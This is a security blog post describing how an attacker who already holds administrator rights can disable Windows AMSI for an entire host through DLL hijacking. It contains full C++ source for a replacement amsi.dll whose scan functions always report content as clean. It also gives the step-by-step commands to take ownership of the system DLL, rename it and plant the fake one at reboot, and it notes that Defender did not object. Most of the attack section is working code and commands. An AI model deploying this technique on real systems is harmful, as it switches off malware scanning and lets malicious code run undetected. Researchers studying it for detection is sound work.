Neutralising AMSI System-Wide as an Admin

Jul 12, 2023
Last update: Jun 1, 2024
amsi dll-hijacking local-admin proxy-dlls spartacus

Contents

Preface

Right off the bat, in order to exploit this you will need two things:

In addition, be aware of the following:

Let's begin.

Introduction

Antimalware Scan Interface (AMSI) works well, sometimes too well. Over the years many ways have been published on how to bypass AMSI, and most of them (if not all) were describing a way to patch the current process' memory in order to avoid AMSI altogether. While I was developing Spartacus I realised that I could "disable" AMSI entirely on a host, but of course only if I had already found a way to escalate my privileges to that of an admin.

AMSI Flow

For all these examples I'll be using PowerShell which uses AMSI:

AMSI Flow Standard

If we create a proxy DLL (let's say for DLL Hijacking), it would operate like this:

AMSI Flow Forwarding

And this is what we will do in this post:

AMSI Flow MiTM

Effectively what we want to achieve is to replace the legitimate amsi.dll, MiTM AmsiScanBuffer and AmsiScanString, and forward the rest of the functions to amsi_legit.dll. But in order to achieve this we need to re-create the functions using the correct signatures.

Testing AMSI

A very quick way to test whether AMSI is working, is to type the following into PowerShell:

'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

And the result will be ScriptContainedMaliciousContent:

AMSI PowerShell

Recreating amsi.dll

The first step is to create a proxy for amsi.dll, but we don't want to forward all the functions to the legitimate one. Let's do this one step at a time.

Using Spartacus, we list the exports of the legitimate DLL - this functionality is very similar to dumpbin.exe /exports:

Spartacus.exe --mode proxy --action exports --dll C:\Windows\System32\amsi.dll

AMSI Exports

You will notice that there is a column called prototype which is currently populated as N/A. The latest version of Spartacus comes with pre-generated function prototypes that have been extracted from header files included within the Windows SDK. By adding the --prototypes argument to the original command, we get:

Spartacus.exe --mode proxy --action exports --dll C:\Windows\System32\amsi.dll --prototypes ./Assets/prototypes.csv

AMSI Exports with Prototypes

Some functions have a prototype while others don't, but in this case the ones we are interested do.

Now that we have this information, let's create a Visual Studio solution:

Spartacus.exe --mode proxy --dll C:\Windows\System32\amsi.dll --solution C:\Projects\amsi --overwrite --verbose --external-resources --prototypes ./Assets/prototypes.csv --only "AmsiScanBuffer,AmsiScanString"

AMSI Generate Proxy

Hijacking AmsiScanBuffer & AmsiScanString

Now that we have our Visual Studio solution, we have to make the following changes to dllmain.cpp:

Having done all of these updates, our source will look like this:

#pragma once

#pragma comment(linker,"/export:AmsiCloseSession=c:\\windows\\system32\\amsi_legit.AmsiCloseSession,@1")
#pragma comment(linker,"/export:AmsiInitialize=c:\\windows\\system32\\amsi_legit.AmsiInitialize,@2")
#pragma comment(linker,"/export:AmsiNotifyOperation=c:\\windows\\system32\\amsi_legit.AmsiNotifyOperation,@3")
#pragma comment(linker,"/export:AmsiOpenSession=c:\\windows\\system32\\amsi_legit.AmsiOpenSession,@4")
// #pragma comment(linker,"/export:AmsiScanBuffer=c:\\windows\\system32\\amsi_legit.AmsiScanBuffer,@5")
// #pragma comment(linker,"/export:AmsiScanString=c:\\windows\\system32\\amsi_legit.AmsiScanString,@6")
#pragma comment(linker,"/export:AmsiUacInitialize=c:\\windows\\system32\\amsi_legit.AmsiUacInitialize,@7")
#pragma comment(linker,"/export:AmsiUacScan=c:\\windows\\system32\\amsi_legit.AmsiUacScan,@8")
#pragma comment(linker,"/export:AmsiUacUninitialize=c:\\windows\\system32\\amsi_legit.AmsiUacUninitialize,@9")
#pragma comment(linker,"/export:AmsiUninitialize=c:\\windows\\system32\\amsi_legit.AmsiUninitialize,@10")
#pragma comment(linker,"/export:DllCanUnloadNow=c:\\windows\\system32\\amsi_legit.DllCanUnloadNow,@11")
#pragma comment(linker,"/export:DllGetClassObject=c:\\windows\\system32\\amsi_legit.DllGetClassObject,@12")
#pragma comment(linker,"/export:DllRegisterServer=c:\\windows\\system32\\amsi_legit.DllRegisterServer,@13")
#pragma comment(linker,"/export:DllUnregisterServer=c:\\windows\\system32\\amsi_legit.DllUnregisterServer,@14")

#include "windows.h"
#include "ios"
#include "fstream"
#include "amsi.h"

typedef HRESULT(*AmsiScanBuffer_Type)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
typedef HRESULT(*AmsiScanString_Type)(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);

// Remove this line if you aren't proxying any functions.
HMODULE hModule = LoadLibrary(L"c:\\windows\\system32\\amsi_legit.dll");

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

HRESULT AmsiScanBuffer_Proxy(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result)
{
    // There is no need to forward the call to the legitimate DLL, as we overwrite the entire result value.
    //AmsiScanBuffer_Type original = (AmsiScanBuffer_Type)GetProcAddress(hModule, "AmsiScanBuffer");
    //return original(amsiContext, buffer, length, contentName, amsiSession, result);
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}
HRESULT AmsiScanString_Proxy(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result)
{
    // There is no need to forward the call to the legitimate DLL, as we overwrite the entire result value.
    //AmsiScanString_Type original = (AmsiScanString_Type)GetProcAddress(hModule, "AmsiScanString");
    //return original(amsiContext, string, contentName, amsiSession, result);
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

Finally, we compile the DLL under Release. As Spartacus copies all details from the original DLL, its properties will now look like:

AMSI.dll Properties

Replacing the Legitimate amsi.dll

Now that we have our hijacking DLL ready, we have to replace it. But this is a bit complicated as the DLL is currently in use, but not to worry we got a way around it.

Replacing Files in Use

Windows API MoveFileExA has a flag called MOVEFILE_DELAY_UNTIL_REBOOT which as per the documentation:

This value can be used only if the process is in the context of a user who belongs to the administrators group or the LocalSystem account.

For this task, we will use Sysinternals MoveFile which does exactly this.

Planting the Malicious File

First action is to take ownership of amsi.dll as by default it will be owned by TrustedInstaller.

Run cmd.exe as an Administrator and execute the following commands:

# Take ownership of the file.
takeown /f C:\Windows\System32\amsi.dll /a

# Give Administrators full access.
icacls.exe C:\Windows\System32\amsi.dll /grant administrators:F

Now, assuming you have placed movefile64.exe and your amsi.dll within C:\Projects, run:

# Rename existing file.
ren C:\Windows\System32\amsi.dll amsi_legit.dll

# Schedule the move to the system folder.
movefile64.exe /nobanner C:\Projects\amsi.dll C:\Windows\System32\amsi.dll

Replace amsi.dll

Now cross our fingers, and restart the host.

Testing AMSI Again

Following the restart of the host, we confirm that our DLL has been planted:

Planted amsi.dll

Now, let's test our PowerShell AMSI again:

AMSI PowerShell Bypass

As we can see, AMSI allowed our malicious string to go through without any problems. And yes, Defender is happy as well.

Conslusion

Hopefully Spartacus will enable the exploration of more advanced DLL Hijacking techniques.

Post Update History
[2024-06-01] Update links to point to maintained repo.